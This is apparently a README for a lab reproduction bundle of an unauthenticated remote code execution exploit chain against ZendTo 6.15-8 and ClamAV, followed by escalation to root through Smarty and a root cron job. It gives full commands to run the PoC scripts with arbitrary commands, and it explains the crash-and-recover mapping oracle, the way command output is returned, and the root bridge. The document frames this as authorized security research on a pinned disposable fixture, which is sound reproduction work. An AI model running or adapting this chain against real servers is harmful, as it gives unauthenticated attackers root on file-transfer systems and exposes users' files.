
Reproduces ZendTo unauthenticated ClamAV RCE and root privilege escalation in an authorized lab, with pinned Docker target, fail-closed verification, nonce-bound output, and cleanup.
This directory is a standalone, authorized-lab reproduction bundle for the no-account ZendTo-to-ClamAV code-execution chain and its separate default- profile Smarty/root-cron continuation. It includes:
The initial PoC executes a caller-selected command as the stock clamav
service account. The optional variant continues that no-account foothold to a
caller-selected command as root. Both default to id, reject the literal
/root/flag path, and return nonce-bound output over HTTPS.
The vulnerable group, directory, Smarty, and root-cron relationships are
ZendTo Debian package/installer defaults. Root reachability is nevertheless
environment-conditioned: this exact positive fixture uses an ext4-backed
/var/zendto volume, functional PHP CLI FFI/POSIX/exec, and an unconfined
clamd process. Enforcing AppArmor/SELinux or incompatible filesystem semantics
can block the continuation on another otherwise stock installation.
Use this only on the included disposable fixture or another system you are explicitly authorized to test.
The authoritative exact target is a local, intentionally unversioned artifact at:
image/zendto-installer-systemd-debian12.tar.zst
Git ignores Docker image archives. Before exact regression, place an authorized
local copy at that path; scripts/setup.sh requires its recorded SHA-256 and
image ID. source-recipe/README.md documents how the installer-derived image
was built and captured. A new build from live package repositories is useful
for topology testing but is not presumed byte-identical to the pinned target.
The setup and container entrypoint reject any mismatch from the following profile:
The complete values are in PROFILE.json.
This is stronger than pinning only the ClamAV package version. The allocator
construction also depends on glibc, CVD-driven parser traffic, worker settings,
and the exact target library. FreshClam is disabled in the captured image, and
startup fails if daily.cvd has drifted or a daily.cld has appeared.
The currently long-running research container in the parent workspace is not the clean fixture: later testing disabled its external-sender form and updated its daily database. Those changes are intentionally excluded here. This bundle uses the clean baseline against which native execution was demonstrated.
/sys/fs/cgroupzstd, Python 3 with venv, a C compiler, file, and GNU readelfThe target shares the host kernel and ASLR implementation. Kernel-dependent mapping behavior therefore remains a portability variable.
Only one systemd fixture should share the host cgroup namespace at a time. On the original research machine, stop the older fixture without deleting it:
docker stop zendto-installer-systemd-native
It can later be restored with docker start zendto-installer-systemd-native.
From this directory:
./scripts/verify-bundle.sh
./scripts/setup.sh
The setup script:
.venv with the pinned PoC Python dependencies;/var/zendto volume and starts systemd; andrenameat2(RENAME_EXCHANGE) operation performed as clamav.The default endpoints are loopback-only:
http://127.0.0.1:18084/
https://127.0.0.1:18447/
The certificate is self-signed. The PoC deliberately uses verify=False for
every HTTP request. Different loopback ports can be selected before setup:
export ZENDTO_HTTP_PORT=19084
export ZENDTO_HTTPS_PORT=19447
./scripts/setup.sh
Use the same environment variables for later Compose/helper commands.
Check the target at any time:
./scripts/verify-target.sh
docker compose ps
The clean installer baseline has:
allowExternalUploads = TRUE
confirmExternalEmails = TRUE
captcha = google
Its CAPTCHA and mail values are installer placeholders, so the untouched
archive cannot actually deliver the public verification email. Native
regression testing represented only that completed application step with an
equivalent external-sender AuthData row. The target code, packages, scanner,
permissions, and exploit path were not patched.
Create that one lab row and a mode-0600 token file with:
./scripts/mint-lab-auth.py [email protected]
The token value is suppressed and stored at:
.lab/upload-auth-token.txt
This local helper is not a claim that an external-upload-disabled deployment can be exploited remotely. If the public external-sender form is disabled, the PoC correctly stops before ClamAV even when a token file is supplied.
On a normally configured authorized deployment, omit
--external-auth-token-file: manually open the verification page, solve the
CAPTCHA, receive the target-generated message at an attacker-controlled
mailbox, and paste its URL/token at the hidden prompt.
This mode sends no CAPTCHA, email, capability, upload, login POST, or scanner
content. --skip-clamd-tcp-probe also suppresses the optional read-only native
TCP/3310 check:
mkdir -p -m 700 work
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--enumerate-only \
--skip-clamd-tcp-probe \
--fingerprint-json work/fingerprint.json
Enumeration still produces ordinary web access logs and can initialize normal application caches. Its Debian/Ubuntu Apache-layout result does not attest the native package, Build ID, libc, CVDs, socket policy, or MAC state. The local Docker verification script supplies that evidence for this fixture.
This validates the lab bearer and recipient policy but submits no file or scanner content:
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--probe-only \
--no-open-browser
[email protected]. matches the deliberately unusual test. internal-domain value
entered when this installer fixture was created. A custom real deployment may
require an actual authorized recipient.
Warning: this is not a benign scanner check. Before attempt one, the remote mode sends EICAR, deliberately crashes clamd with the PESpin discriminator, proves socket-triggered recovery, and runs two terminal code-page probes with additional crash/recovery cycles. Rejected mappings intentionally kill clamd.
Use a fresh work directory and a harmless command:
run_dir="work/run-$(date +%Y%m%d-%H%M%S)"
mkdir -m 700 "$run_dir"
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--command 'id; uname -a' \
--workdir "$run_dir" \
--keep-workdir
The preferred conditioned route tests for the useful nibble-8 mapping before
submitting one corruption carrier. The current three-layout aggregate is a
later lifecycle correction; its historical one-layout oracle and same-process
RCE stages are documented separately in docs/.
The blind fixed-nibble-6 fallback is available explicitly:
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--restart-resample-attempts 72 \
--command 'id; uname -a' \
--workdir work/blind-run \
--keep-workdir
Under an independent uniform nibble model, 47 fresh mappings are about 95% and 72 about 99%. Those are geometric mapping probabilities, not end-to-end reliability guarantees. Each rejected mapping takes at least the 12-second recovery delay plus the enforced 40-second worker-retirement period, excluding scan time. A 72-attempt run can exceed an hour.
The result is not read from a callback or webshell. The DSO creates a separate
30-minute output-only AuthData bearer, executes /bin/sh -c as clamav, and
returns bounded stdout/stderr through an anonymous ZendTo page. Success requires
one framed result with all of the following consistent:
zendto_unauth_clamav_rce_result=1Missing, duplicate, truncated, or mismatched proof is a failed run.
Run this only after ./scripts/verify-target.sh reports both
[target] and [privesc-target] success. The wrapper first performs the same
no-account ClamAV stage, requires its exact bounded arming proof, then waits for
the unchanged stock root cron consumer:
.venv/bin/python poc/zendto_clamav_to_root_smarty_privesc.py chain-unauth \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--root-command 'id; uname -a' \
--keep-workdir
The token-file option is only the fixture's completed-email substitute. On an
authorized public workflow, omit it and manually complete the CAPTCHA/email
prompt. No ZendTo username or password is used by chain-unauth.
The root stage is deliberately separate even though the wrapper automates its handoff. It:
savechunk.php;clamav;/zendto-root-result-<nonce>.json with verify=False, requiring
euid=0, the exact command hash, restore marker, and completion nonce.Cron may make the final poll wait almost an hour; the default timeout is 3900 seconds. The root command is limited to 1024 bytes and 30 seconds, with at most 1 MiB each of stdout and stderr. Its nonce-addressed JSON is intentionally web readable in this disposable lab, so use only harmless test output.
For manual orchestration, emit prints the exact command to pass to the
no-account PoC's --command; after the arming proof, use poll with the
printed run ID and SHA-256 of the exact root command. See
docs/SMARTY_ROOT_BRIDGE.md for the construction and audit transcript.
This variant is expected to stop safely when a prerequisite is missing. Do not overlap arms or retry an ambiguous run: failed stages can leave an incoming PHP file, hidden clone, lock, or swapped cache. Use a fresh fixture for each root test:
./scripts/reset-lab.sh --yes-delete-lab-volume
./scripts/mint-lab-auth.py [email protected]
One successful corruption is supported per clamd process. A second invocation is defensible only after a fresh run's destructive recycle probe returns the expected scanner-failure response and EICAR proves recovery through the active socket. Do not reuse a run ID, staged chunk name, result bearer, or client work directory.
Stop immediately on any redirect, network timeout, ambiguous body/status, unexpected clean response, or failed EICAR recovery. Never manually resubmit the prior corruption request to an uncertain daemon.
The packaged service has Restart=no. Repeatability comes from the still
active clamav-daemon.socket, not from an automatic service restart policy.
If the socket is disabled or start-limited, deliberate crashes can leave the
scanner unavailable.
Expected target residue includes access/error logs, clamd crash records or
cores, bounded orphan claim files from clean oracle guards, one append-only
/var/zendto/incoming/Bridge<nonce>.1 DSO, and short-lived AuthData rows.
Stock cleanup ages out ordinary orphan claims only after more than one day.
The root variant additionally leaves a nonce PHP armer, hidden clone and lock,
the root-owned public JSON result, and private /run stdout/stderr. A successful
wrapper restores genuine templates_c before executing the root command, but
these evidence files remain until the container and volume are reset.
Revoke the lab upload bearer after testing:
./scripts/revoke-lab-auth.py
Stop the target while preserving its evidence volume:
docker compose down
For a clean fresh fixture, explicitly delete only this project's named volume and restart it from the pinned image:
./scripts/reset-lab.sh --yes-delete-lab-volume
Archive the work directory and fingerprint JSON before resetting if they are needed as evidence.
docker-compose.yml exact systemd/socket target topology
PROFILE.json exact package/hash/CVD profile
image/*.tar.zst local ignored target artifact
poc/ no-account driver and support modules
third_party/ minimized builder/source/binary closure
scripts/setup.sh image/client/Compose setup
scripts/verify-bundle.sh delivery-manifest verification
scripts/verify-target.sh fail-closed target verification
scripts/verify-privesc-target.sh root-variant semantic preflight
scripts/mint-lab-auth.py local completed-email substitute
scripts/revoke-lab-auth.py remove that lab bearer
scripts/reset-lab.sh explicit clean-volume reset
source-recipe/ installer provenance, not exact rebuild
docs/ technical regression/audit notes
source-recipe/install.ZendTo.tgz and its runbook are included for provenance
and source construction. Do not treat a new live-repository build as exact:
the installer does not pin all packages or ClamAV databases. Exact regression
requires the ignored local image archive to match PROFILE.json.
MANIFEST.sha256 covers every delivered file except itself. Docker image
archives, the host-compiled third_party/installer-runtime/clamav-pespin/ pespin_summit helper, and generated .venv, .lab, work, and
__pycache__ trees are ignored. Setup rebuilds the helper from its manifested
C source and verifies the local image separately.
The packaging-time static, remote preflight, probabilistic resampling, and
instrumented end-to-end checks are recorded in
docs/BUNDLE_VALIDATION.md. The record distinguishes remote observations from
the one validation run that was explicitly supplied a locally observed module
base.
| Component | Exact tested value |
|---|
| Docker image ID | sha256:de6d2f06ca04943362a9bdec5026e808448953728f31bd926343a4ed2ca2ef7c |
| ZendTo | 6.15-8 |
| ClamAV/libclamav package | 1.4.3+dfsg-1~deb12u2 |
| libclamav | libclamav.so.12.0.3, SHA-256 55e3cd94…027c |
| libclamav Build ID | e6427ab62146ee3001fe463d12e797e9d25bf81a |
| glibc | 2.36-9+deb12u14, SHA-256 6b4a4535…421 |
| main database | v63, SHA-256 0b2182d2…365 |
| daily database | v28082, SHA-256 cddbcccf…906 |
| bytecode database | v339, SHA-256 6d4aa01f…ffb |
| clamd | MaxThreads 12, IdleTimeout 30, Restart=no |
| lifecycle | enabled clamav-daemon.socket, systemd PID 1 |
| web runtime | Apache 2.4.68, PHP 8.2.32 |
| MAC posture | unconfined privileged Docker fixture |
| root bridge | stock clamav in www-data; /var/zendto root:www-data 0775 |
| root consumer | stock root cleanup cron, hourly at minute 25 |
| Smarty cache | deterministic Smarty 4.5.4 compiled zendto.conf |
| exchange filesystem | ext4-backed named /var/zendto volume |